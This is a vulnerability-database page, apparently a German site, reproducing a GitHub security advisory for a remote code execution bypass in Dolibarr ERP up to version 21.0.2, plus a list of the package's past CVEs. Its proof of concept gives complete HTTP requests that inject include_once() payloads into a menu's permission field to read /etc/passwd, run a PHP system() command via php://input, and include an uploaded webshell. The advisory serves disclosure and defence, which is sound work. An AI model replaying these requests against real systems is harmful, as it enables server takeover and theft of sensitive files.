Hoch

Dolibarr has Remote Code Execution Vulnerability (Bypass)

  • Veröffentlicht: 21.07.2025
  • Aktualisiert: 11.10.2026 10:22

Summary

The Dolibarr backend provides the function of adding Menu, and supports setting permissions for the added Menu:

This is the trigger point of the vulnerability. The submitted permission can be php code, and it will be executed when viewing the created Menu:

  • htdocs/admin/menus/edit.php

As you can see, in edit.php, if the created menu is set to $menu->perms, the dol_eval() method will be called. Following the dol_eval() method, we can see that it will filter the dangerous php functions in $menu->perms through the blacklist set in $forbiddenphpfunctions:

However, the blacklist here is not comprehensive. For example, the include_once and require_once functions can easily pass the blacklist check, which will cause file inclusion vulnerabilities. Moreover, if the allow_url_include option is enabled in php.ini, arbitrary code execution will occur. The most serious thing is that we can cooperate with the file upload at /htdocs/user/document.php?id=1&uploadform=1 to achieve more general arbitrary code execution.

Proof of Concept

Local File Inclusion

(1) First, create a Menu and set "Permissions" to include_once('/etc/passwd') (note that '' must be used here because " will be detected):

http
POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

token=fae63868ce9c2a7eece04a49ffdbe23f&menu_handler=all&user=2&type=top&propertymainmenu=test1test&titre=test1test&url=test1test&langs=&position=100&target=&enabled=1&perms=include_once('/etc/passwd')&save=Save

(2) Then we look at the Menu we just created, and we can see that the contents of /etc/passwd have been successfully read out:

Remote Code Execution - 1

(1) We first ensure that the allow_url_include option of php.ini on the server is On:

At this point, we can use remote file inclusion and cooperate with php://input to achieve arbitrary code execution.

(2) Create a Menu and set "Permissions" to include_once('php://input') (note that '' must be used here because " will be detected):

http
POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

token=fae63868ce9c2a7eece04a49ffdbe23f&menu_handler=all&user=2&type=top&propertymainmenu=test1test&titre=test1test&url=test1test&langs=&position=100&target=&enabled=1&perms=include_once('php://input')&save=Save

(3) Finally, the system command is successfully executed through the POST request:

http
POST http://192.168.31.31/htdocs/admin/menus/edit.php?menu_handler=all&action=edit&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=24 HTTP/1.1
Host: 192.168.31.31
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/index.php?url=/etc/passwd
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

<?php system('ls -al /');?>

Remote Code Execution - 2 (File Inclusion with file upload)

At this point, we are absolutely sure that a file inclusion vulnerability can be achieved by setting "Permissions", and arbitrary code execution can be achieved with allow_url_include = On. However, the setting allow_url_include = On does not exist on every server. Therefore, to achieve the purpose of universal arbitrary code execution, we need to cooperate with the file upload (without suffix) function.

(1) We can upload a file containing php webshell code through the "Attach a new file/document" function in /htdocs/user/document.php?id=1&uploadform=1. The file name is "shell" (this file There must be no suffix, otherwise the detection of . by dol_eval() cannot be bypassed when setting "Permissions" later. Among all file upload points, only "Attach a new file/document" can be Upload files without suffix):

image-20240228232622397

(2) upload the "shell":

image-20240228231150328

Images uploaded from here will eventually be saved on the server in the "/var/www/html/documents/users/1/" directory:

image-20240228230738376

(3)create a Menu and set "Permissions" to include_once('/var/www/html/documents/users/1/shell') (note that '' must be used here because " will be detected).

http
POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

token=e71337659d7cbae16b0279b4e04535aa&menu_handler=all&user=2&type=left&propertymainmenu=whaoamia&menuIdParent=123&titre=whaoamia&picto=whaoamia&url=whaoamia&langs=&position=100&enabled=1&perms=include_once('/var/www/html/documents/users/1/shell')&target=&save=Save

(4) Finally, when we access the Menu we just created, we can find that the "/var/www/html/documents/users/1/shell" file is included:

image-20240228231800914

Finally, arbitrary code execution was successfully achieved:

image-20240228231703417

image-20240228232116013

Impact

This vulnerability can run arbitrary commands in the file system and read sensitive files.

Say it at the end

If you confirm the vulnerability, please apply for a CVE to notify all users to update.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket dolibarr/dolibarr <= 21.0.2 keine Korrektur

Verweise

CVSS-Wert 8.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-98
Plattform
Composer
Paket
dolibarr/dolibarr
Veröffentlicht
21.07.2025
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-49xw-hw94-fmv2 - CC BY 4.0

Schwachstellenhistorie: dolibarr/dolibarr

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (126) im Archiv
Einträge insgesamt
126
Erste → letzte
11.2019 06.2026
Ohne Fix
49
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 27
  • Hoch 38
  • Mittel 56
  • Niedrig 5

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 2
  3. 2021: 5
  4. 2022: 87
  5. 2023: 9
  6. 2024: 9
  7. 2025: 4
  8. 2026: 9
Schweregrad:
  1. Kritisch · 9.8 CVE-2018-25357 >= 7.0.0, < 7.0.4, < 6.0.8 7.0.4, 6.0.8
  2. Hoch · 8.8 CVE-2026-31018 <= 15.0.3 keine Korrektur
  3. Kritisch · 9.1 CVE-2026-23500 <= 22.0.4 keine Korrektur
  4. Hoch · 8.8 CVE-2025-56588 < 21.0.3 21.0.3
  5. Dolibarr has Remote Code Execution Vulnerability (Bypass) dieser Eintrag
    Hoch · 8.8 ghsa-49xw-hw94-fmv2 <= 21.0.2 keine Korrektur
  6. Hoch · 5.5 CVE-2024-40137 < 19.0.2 19.0.2
  7. Hoch · 8.8 CVE-2024-37821 < 19.0.2 19.0.2
  8. Kritisch · 9.1 CVE-2024-5315 <= 9.0.1 keine Korrektur
  9. Kritisch · 9.1 CVE-2024-5314 <= 9.0.1 keine Korrektur
  10. Hoch · 7.1 CVE-2024-23817 >= 18.0.4, < 18.0.7 18.0.7
  11. Hoch · 7.5 CVE-2024-31503 <= 19.0.0 keine Korrektur
  12. Hoch · 7.5 CVE-2023-4197 < 18.0.2 18.0.2
  13. Hoch · 8.8 CVE-2023-38887 < 17.0.1 17.0.1
  14. Kritisch · 9.6 CVE-2023-38888 < 17.0.1 17.0.1
  15. Hoch · 7.5 CVE-2023-33568 >= 16.0.0, < 16.0.5 16.0.5
  16. Kritisch · 9.8 CVE-2022-4093 >= 16.0.1, < 16.0.3 16.0.3
  17. Kritisch · 9.8 CVE-2022-43138 < 14.0.1 14.0.1
  18. Kritisch · 9.8 CVE-2022-40871 <= 15.0.3 keine Korrektur
  19. Kritisch · 9.8 CVE-2021-33816 >= 13.0.2, < 14.0.0 14.0.0
  20. Hoch · 7.2 CVE-2020-35136 < 12.0.4 12.0.4
  21. Hoch · 8.8 CVE-2020-14209 < 11.0.5 11.0.5
  22. Hoch · 8.8 CVE-2020-12669 < 12.0.0 12.0.0
  23. Hoch · 8.8 CVE-2020-11825 <= 10.0.6 keine Korrektur
  24. Kritisch · 9.8 CVE-2019-19212 >= 3.0, <= 10.0.3 keine Korrektur
  25. Hoch · 7.5 CVE-2019-19209 < 10.0.3 10.0.3
  26. Kritisch · 9.8 CVE-2020-7995 = 10.0.6 keine Korrektur
  27. Hoch · 8.0 CVE-2019-15062 >= 10.0, < 10.0.2 10.0.2
  28. Hoch · 8.8 CVE-2019-11200 < 9.0.3 9.0.3
  29. Hoch · 8.0 CVE-2019-11201 < 9.0.3 9.0.3
  30. Hoch · 8.8 CVE-2019-1010054 = 7.0.0 keine Korrektur
  31. Kritisch · 9.8 CVE-2017-7886 = 4.0.4 keine Korrektur
  32. Kritisch · 9.8 CVE-2017-7888 <= 4.0.4 keine Korrektur
  33. Kritisch · 9.8 CVE-2017-9435 < 5.0.3 5.0.3
  34. Hoch · 8.8 CVE-2017-9840 <= 5.0.3 keine Korrektur
  35. Kritisch · 9.8 CVE-2017-14238 < 6.0.1 6.0.1
  36. Kritisch · 9.8 CVE-2017-14242 < 6.0.1 6.0.1
  37. Hoch · 7.5 CVE-2017-14240 < 6.0.1 6.0.1
  38. Kritisch · 9.8 CVE-2017-17897 < 6.0.5 6.0.5
  39. Kritisch · 9.8 CVE-2017-17900 < 6.0.5 6.0.5
  40. Hoch · 7.5 CVE-2017-17898 < 6.0.5 6.0.5
  41. Hoch · 8.8 CVE-2017-18260 <= 7.0.0 keine Korrektur
  42. Kritisch · 9.8 CVE-2018-10094 < 7.0.2 7.0.2
  43. Kritisch · 9.8 CVE-2018-13448 >= 7.0.3, < 7.0.4 7.0.4
  44. Kritisch · 9.8 CVE-2018-13447 >= 7.0.3, < 7.0.4 7.0.4
  45. Kritisch · 9.8 CVE-2018-13450 >= 7.0.3, < 7.0.4 7.0.4
  46. Kritisch · 9.8 CVE-2018-13449 >= 7.0.3, < 7.0.4 7.0.4
  47. Hoch · 8.8 CVE-2018-19998 < 8.0.4 8.0.4
  48. Kritisch · 9.8 CVE-2018-16809 >= 3.8, <= 7.0.0 keine Korrektur
  49. Hoch · 8.0 CVE-2018-10092 < 7.0.2 7.0.2
  50. Kritisch · 9.8 CVE-2018-9019 < 7.0.2 7.0.2
  51. Hoch · 8.8 CVE-2021-36625 < 14.0.0 14.0.0
  52. Hoch · 7.5 CVE-2021-37517 < 14.0.1 14.0.1
Mehr anzeigen (5) 60 von 65 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.